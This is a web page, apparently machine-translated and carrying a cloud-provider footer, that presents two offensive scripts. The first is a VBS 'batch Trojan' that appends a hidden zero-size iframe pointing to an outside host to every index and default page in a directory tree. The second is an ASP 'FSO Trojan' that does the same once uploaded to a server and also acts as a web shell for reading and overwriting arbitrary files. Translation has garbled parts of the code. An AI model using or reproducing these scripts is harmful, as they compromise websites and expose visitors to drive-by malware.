'Copyright Information
Br = "************************************" & vbCrLf
Br = br & "* VBS batch Trojan script *" & vbCrLf
Br = br & "* BY BanLG *" & vbCrLf
Br = br &"*********************************** * "& vbCrLf
Br = br & "cscript scan. vbe D: \" & vbCrLf
'Trojan's address
Ma = "</Script> <IfRAME height = 0 width = 0 sRc =" & chr (34) & "http://www.hacker.com.cn" & chr (... T; </IFrAME>"
'You can add a Trojan-infected page if it is not enough. Remember to separate it with '| '.
MyString = "index. php | index. asp | index.html | index.htm | default. php | default. asp | default.html | default.htm | index. aspx | default. aspx"
'Split into Arrays Using the separator "|"
MyArray = Split (MyString, "|",-1, 1)
Web = WScript. Arguments (0)
'Exit the script if the web is empty.
If web = "" then
Wscript. echo (br)
Window. Close
End if
Wscript. echo (br) & "Trojan address:" & ma & vbCrLf
'Create object
Set fso = createObject ("Scripting. FileSystemObject ")
'Start scanning Trojan
Scan (web)
'Scan defines the function to scan for files that meet the criteria and write the contents of the Trojan to the end of the file.
Sub scan (filesder)
Set filesder = fso. getfolder (filesder)
'Get all the file sets in the current directory.
Set files = filesder. files
'Get file name
For each fext in files
Set file1 = fso. GetFile (fext)
Filesext = file1.Name
'Convert the file name to lowercase letters
Ext = lcase (filesext)
For Each index in MyArray
'Determine whether the file is a file defined in MyString.
If ext = lcase (index) then
Set ts = fso. OpenTextFile (fext, 8) 'open the file and write at the end of the file
Ts. WriteLine (ma)
Ts. Close
Echo = ""
Echo = fext &"............. OK"
Wscript. echo (echo)
End if
Next
Next
Set subfolders = filesder. subfolders
For each subfolder in subfolders search for other directories and call them recursively
Scan (subfolder)
Next
End sub
FSO Trojan. asp
After being uploaded to the server, you can directly enter the path to which the trojan will be mounted.
Program code:
<% Server. ScriptTimeout = 10000
Response. Buffer = False
%>
<Html>
<Head>
<Title> </title>
<*** Http-equiv = "Content-Type" content = "text/html; charset = gb2312">
</Head>
<Body>
<%
ASP_SELF = Request. ServerVariables ("PATH_INFO ")
S = Request ("fd ")
Ex = Request ("ex ")
Pth = Request ("pth ")
Newcnt = Request ("newcnt ")
If ex <> "" AND pth <> "" Then
Select Case ex
Case "edit"
CALL file_show (pth)
Case "save"
CALL file_save (pth)
End select
Else
%>
<Form action = "<% = ASP_SELF %>" method = "POST">
FOLDER (absolute path ):
<Input type = "text" name = "fd" size = "40">
<Input type = "submit" value = "SUBMIT">
</Form>
<% End If %>
<%
Function IsPattern (patt, str)
Set regEx = New RegExp
RegEx. Pattern = patt
RegEx. IgnoreCase = True
RetVal = regEx. Test (str)
Set regEx = Nothing
If retVal = True Then
IsPattern = True
Else
IsPattern = False
End If
End Function
If IsPattern ("[^ AB] {1 }:{ 1} (\\|\/)", s) Then
Sch s
Else
If s <> "" Then Response. Write "Invalid Agrument! "
End If
Sub sch (s)
ON eRrOr rEsUmE nExT
Set fs = Server. createObject ("Scripting. FileSystemObject ")
Set fd = fs. GetFolder (s)
Set fi = fd. Files
Set sf = fd. SubFolders
For Each f in fi
Rtn = f. Path
Step_all rtn
Next
If sf. Count <> 0 Then
For Each l In sf
Sch l
Next
End If
End Sub
Sub step_all (agr)
RetVal = IsPattern ("(\\|\/) (default | index) \. (htm | html | asp | php | jsp | aspx) \ B", agr)
If retVal Then
Step 1 agr
Step 2 agr
Else
Exit Sub
End If
End Sub
%>
<% Sub step1 (str1) %>
<A href = "<% = ASP_SELF %>? Ex = edit & pth = <% = str1 %> "target =" _ blank "> <% = str1 %> </a> <br>
<% End Sub %>
<%
Sub step2 (str2)
Addcode = "<iframe src = http://www.21o.net/mm/mm.htm (modify the address of your horse, do not add" "otherwise error will occur) width = 0 height = 0 frameborder = 0> </iframe>"
Set fs = Server. createObject ("Scripting. FileSystemObject ")
IsExist = fs. FileExists (str2)
If isExist Then
Set f = fs. GetFile (str2)
Set f_addcode = f. OpenAsTextStream (8,-2)
F_addcode.Write addcode
F_addcode.Close
Set f = Nothing
End If
Set fs = Nothing
End Sub
%>
<%
Sub file_show (fname)
Set fs1 = Server. createObject ("Scripting. FileSystemObject ")
IsExist = fs1.FileExists (fname)
If isExist Then
Set fcnt = fs1.OpenTextFile (fname)
Cnt = fcnt. ReadAll
Fcnt. Close
Set fs1 = Nothing %>
FILE: <% = fname %>
<Form action = "<% = ASP_SELF %>" method = "POST">
<Textarea name = "newcnt" cols = "100" rows = "30"> <% = cnt %> </textarea>
<Input type = "hidden" name = "pth" value = "<% = fname %>">
<Input type = "hidden" name = "ex" value = "save">
<Input type = "submit" value = "SAVE">
</Form>
<% Else %>
<P> the file is not exit or have deleteD. </p>
<%
End If
End Sub
%>
<%
Sub file_save (fname)
Set fs2 = Server. createObject ("Scripting. FileSystemObject ")
Set newf = fs2.createTextFile (fname, True)
Newf. Write newcnt
Newf. Close
Set fs2 = Nothing
Response. Write "<p> the file was modified successfully. </p>"
End Sub
%>
</Body>
</Html>
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
